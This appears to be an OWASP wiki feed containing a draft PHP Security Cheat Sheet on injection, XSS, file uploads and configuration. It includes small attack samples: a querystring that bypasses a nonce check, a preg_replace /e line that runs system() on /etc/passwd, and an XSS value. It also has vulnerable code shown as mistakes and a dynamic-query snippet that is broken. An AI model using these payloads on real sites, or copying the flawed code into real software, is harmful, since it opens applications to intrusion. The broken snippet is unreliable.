PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184328</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184328"/>
				<updated>2014-10-30T08:19:18Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Cryptography Cheat Sheet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
